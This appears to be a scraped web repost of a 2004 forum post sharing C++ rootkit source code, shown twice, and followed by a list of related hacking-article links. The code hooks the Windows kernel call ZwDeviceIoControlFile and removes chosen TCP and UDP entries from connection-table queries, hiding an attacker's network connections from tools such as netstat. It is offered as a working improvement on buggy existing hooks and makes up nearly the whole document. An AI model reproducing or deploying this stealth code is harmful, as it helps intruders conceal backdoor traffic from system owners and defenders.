port/connection hiding
来源:互联网 发布:Java框架排行榜 编辑:程序博客网 时间:2024/05/16 16:21
port/connection hiding
@ :: worthy :: Jun 18 2004, 15:57 (UTC+0)
akcom writes: after reading HolyFather's article on rootkits, i wrote a hook to hide connections. I've noticed a few people saying that the already available ones are buggy, so heres my hook (in C++, minor modifications would make it c compatible)
typedef struct _GENERIC_RECORD
{
ULONG entry1; //state on tcp, local addr on udp
ULONG entry2; //local addr on tcp, local port on udp
ULONG entry3; //local port on tcp
ULONG entry4; //remote addr on tcp
ULONG entry5; //remote port on tcp
} GENERIC_RECORD, *PGENERIC_RECORD;
NTSTATUS
NTAPI
NewZwDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
)
{
NTSTATUS ntRes = ((ZWDICF)OldZwDeviceIoControlFile)(
FileHandle,
Event,
ApcRoutine,
ApcContext,
IoStatusBlock,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength
);
if (!NT_SUCCESS(ntRes))
{
return ntRes;
}
if (IoControlCode != 0x120003)
{
return ntRes;
}
POBJECT_NAME_INFORMATION ObjectName;
char ObjectNameBuf[512];
ULONG ReturnLen;
ObjectName = (POBJECT_NAME_INFORMATION)ObjectNameBuf;
ObjectName->Name.MaximumLength = 500;
ZwQueryObject( FileHandle, ObjectNameInfo, ObjectName, sizeof(ObjectNameBuf), &ReturnLen );
char ObjectNameMBS[261];
wcstombs(ObjectNameMBS, ObjectName->Name.Buffer, sizeof(ObjectNameMBS));
if (stricmp(ObjectNameMBS, "//Device//Tcp") != 0)
{
return ntRes;
}
PBYTE input = (PBYTE)InputBuffer;
if (InputBufferLength < 17)
{
return ntRes;
}
bool tcp = false;
/*
if its tcp, then the first item is
state, which we need to ignore
*/
ULONG recordSize = 0;
if (input[0] == 0x00)
{
tcp = true;
recordSize = sizeof(MIB_TCPROW);
//tcp
if (input[16] == 0x02)
{
//extended
recordSize += 4;
}
}
else
{
//udp
recordSize = sizeof(MIB_UDPROW);
//extended
if (input[16] == 0x02)
{
recordSize += 4;
}
}
ULONG entryCount = IoStatusBlock->Information / recordSize;
bool done;
PGENERIC_RECORD data = (PGENERIC_RECORD)OutputBuffer;
ULONG i;
ULONG ip;
USHORT port;
i = 0;
while (i < entryCount)
{
ip = tcp ? data->entry2 : data->entry1;
port = (USHORT)(tcp ? data->entry3 : data->entry2);
// i use a linked list of records to hide,
// just replace this with your comparison
if (
matchesConMask( ip, port, g_ConList )
)
{
//local stuff
hideEndPoint( (PGENERIC_RECORD)OutputBuffer, entryCount, i, recordSize );
IoStatusBlock->Information -= recordSize;
entryCount--;
}
else
// i use a linked list of records to hide,
// just replace this with your comparison
if (tcp && matchesConMask( data->entry4, (USHORT)data->entry5, g_ConList ) )
{
//remote stuff
hideEndPoint( (PGENERIC_RECORD)OutputBuffer, entryCount, i, recordSize );
IoStatusBlock->Information -= recordSize;
entryCount--;
}
else
{
data = (PGENERIC_RECORD)(((char *)data) + recordSize);
i++;
}
}
return ntRes;
}
@ :: worthy :: Jun 18 2004, 15:57 (UTC+0)
akcom writes: after reading HolyFather's article on rootkits, i wrote a hook to hide connections. I've noticed a few people saying that the already available ones are buggy, so heres my hook (in C++, minor modifications would make it c compatible)
typedef struct _GENERIC_RECORD
{
ULONG entry1; //state on tcp, local addr on udp
ULONG entry2; //local addr on tcp, local port on udp
ULONG entry3; //local port on tcp
ULONG entry4; //remote addr on tcp
ULONG entry5; //remote port on tcp
} GENERIC_RECORD, *PGENERIC_RECORD;
NTSTATUS
NTAPI
NewZwDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
)
{
NTSTATUS ntRes = ((ZWDICF)OldZwDeviceIoControlFile)(
FileHandle,
Event,
ApcRoutine,
ApcContext,
IoStatusBlock,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength
);
if (!NT_SUCCESS(ntRes))
{
return ntRes;
}
if (IoControlCode != 0x120003)
{
return ntRes;
}
POBJECT_NAME_INFORMATION ObjectName;
char ObjectNameBuf[512];
ULONG ReturnLen;
ObjectName = (POBJECT_NAME_INFORMATION)ObjectNameBuf;
ObjectName->Name.MaximumLength = 500;
ZwQueryObject( FileHandle, ObjectNameInfo, ObjectName, sizeof(ObjectNameBuf), &ReturnLen );
char ObjectNameMBS[261];
wcstombs(ObjectNameMBS, ObjectName->Name.Buffer, sizeof(ObjectNameMBS));
if (stricmp(ObjectNameMBS, "//Device//Tcp") != 0)
{
return ntRes;
}
PBYTE input = (PBYTE)InputBuffer;
if (InputBufferLength < 17)
{
return ntRes;
}
bool tcp = false;
/*
if its tcp, then the first item is
state, which we need to ignore
*/
ULONG recordSize = 0;
if (input[0] == 0x00)
{
tcp = true;
recordSize = sizeof(MIB_TCPROW);
//tcp
if (input[16] == 0x02)
{
//extended
recordSize += 4;
}
}
else
{
//udp
recordSize = sizeof(MIB_UDPROW);
//extended
if (input[16] == 0x02)
{
recordSize += 4;
}
}
ULONG entryCount = IoStatusBlock->Information / recordSize;
bool done;
PGENERIC_RECORD data = (PGENERIC_RECORD)OutputBuffer;
ULONG i;
ULONG ip;
USHORT port;
i = 0;
while (i < entryCount)
{
ip = tcp ? data->entry2 : data->entry1;
port = (USHORT)(tcp ? data->entry3 : data->entry2);
// i use a linked list of records to hide,
// just replace this with your comparison
if (
matchesConMask( ip, port, g_ConList )
)
{
//local stuff
hideEndPoint( (PGENERIC_RECORD)OutputBuffer, entryCount, i, recordSize );
IoStatusBlock->Information -= recordSize;
entryCount--;
}
else
// i use a linked list of records to hide,
// just replace this with your comparison
if (tcp && matchesConMask( data->entry4, (USHORT)data->entry5, g_ConList ) )
{
//remote stuff
hideEndPoint( (PGENERIC_RECORD)OutputBuffer, entryCount, i, recordSize );
IoStatusBlock->Information -= recordSize;
entryCount--;
}
else
{
data = (PGENERIC_RECORD)(((char *)data) + recordSize);
i++;
}
}
return ntRes;
}
- port/connection hiding
- port/connection hiding
- port/connection hiding
- port 22: Connection refused
- NSI Module Hook : Hiding Port Under Windows Vista
- scp port 22: Connection refused
- Mac port 22: Connection refused
- PuTTY (3) Serial port connection
- Illegal connection port value '3306>]解决方法
- Illegal connection port value '3306>]解决方法
- cygwin ssh: localhost port 22: Connection refused
- Ubuntu ssh port 22 :Connection refused
- connect to host **** port 22: Connection refused
- 日常坑-Illegal connection port value '3306'
- ssh: connect to host xxx port 22: Connection refused -ubuntu
- ssh: connect to host localhost port 22: Connection refused
- ssh: connect to host localhost port 22: Connection refused
- ssh :connect to host 192.168.0.7 port 22: Connection refused
- (转载)玩转ARP
- 二章
- IP基础--ARP协定
- 三章
- Simple Hooking of Functions not Exported by Ntoskrnl.exe
- port/connection hiding
- 用户态隐藏进程的通用版本
- 黑客新手必需的工具介绍 (转自鹰盟)
- BCB命名规范
- Linux?Free BSD?Solaris
- 林语堂语录
- 一个好的软件工程师应预备的素质
- 刚才去华师大诳了圈
- 用C#实现木马程序